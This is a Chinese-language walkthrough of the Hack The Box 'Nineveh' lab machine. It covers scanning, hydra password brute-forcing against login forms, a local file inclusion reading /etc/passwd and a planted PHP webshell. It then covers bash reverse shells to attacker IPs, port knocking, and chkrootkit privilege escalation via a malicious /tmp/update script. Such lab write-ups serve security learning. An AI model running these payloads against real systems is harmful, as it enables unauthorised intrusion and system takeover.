【Hack The Box】linux练习-- Nineveh
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月9日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: 400 Bad Request
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
发现信息如下:
commonName=nineveh.htb
做一个hosts
而后访问https页面
发现只是一张图片啥都没有,于是开始爆破目录
用ip爆就行了,做不做hosts均可以正常访问
先来https
gobuster dir -k -u https://10.129.12.161 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
扫出来的几个
gobuster dir -u http://10.129.12.161 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 -x php
有一个登陆页面,尝试一下登陆,发现报错的信息不严谨
我们可以判断出admin是正确的用户名
而后爆破即可
语法就不赘述了
hydra -l admin -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt 10.129.12.161 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 50
得到密码
登陆之后没有什么太多有用的信息,只告诉你说应该去secert目录
但是直接访问并不存在
但是在我们https的扫描结果中,我们不仅发现了一个可能是secert的目录,如下
https://10.129.12.168/secure_notes/
这里还发现这个url很长,经过观察,发现参数的传递,有可能存在lfi,经过进一步尝试,最终确定确实存在lfi,只不过我们还没有什么有用的文件,仅仅是查看了passwd
lfi利用如下
http://10.129.12.161/department/manage.php?notes=files/ninevehNotes/../../../../../../../etc/passwd
接着我们来到了https的db目录,发现了phpliteadmin
他不需要账号,所以我们如下爆破
hydra 10.129.12.161 -l 0xdf -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"
-l 0xdf - hydra需要用户名,即使它不会使用它
-P [password file]- 要尝试的密码文件
https-post-form- 这是要使用的插件,它需要一个包含三个部分的字符串, :分开:
/db/index.php- POST 到的路径
password=^PASS^&remember=yes&login=Log+In&proc_login=true- POST 数据,与 ^PASS^将被单词列表中的单词替换的东西
Incorrect password- 指示登录失败的响应文本
根据第一个exp我们这样利用
首先新建一个.php后缀的数据库
然后在新表信息中加入一句话,修改类型为text
<?php echo system($_REQUEST["cmd"]);?>
而后回到主主界面就可以看到数据库的地址了
http://10.129.12.161/department/manage.php?notes=/ninevehNotes/../var/tmp/hack.php&cmd=id
替换cmd参数为如下:因为要预先url编码
bash -c 'bash -i >%26 /dev/tcp/10.10.14.63/8888 0>%261'
首先尝试内核提权
没成功,然后也看不到啥东西,想起来还有一个那个secert的目录没去看
于是在var/html/ssl找到了
strings -n 20 nineveh.png
发现是个ssh
公私钥都给了
用户是amrois
但是靶场没开ssh
端口被隐藏了
端口敲震
找配置文件
find / -name "knockd.conf" 2>/dev/null
检查进程同样存在knockd
ps auxww
发现顺序
敲
knock 10.129.12.168 571 290 911
ssh -i id_rsa amrois@10.129.12.168
运行linpeas.sh
发现了计划任务
发现了计划任务最先要做的就是就是检查进程以及查看计划任务我们能否写入
很可惜,这里我们写不了,所以利用pspy检查进程,发现运行了很多chkrootkit任务,这个程序经常与计划任务一同运作
chkrootkit提权的核心思想就是写一个update文件
没别的
update文件写入
printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' >> /tmp/update
chmod 777 /tmp/update
nc -nlvp 443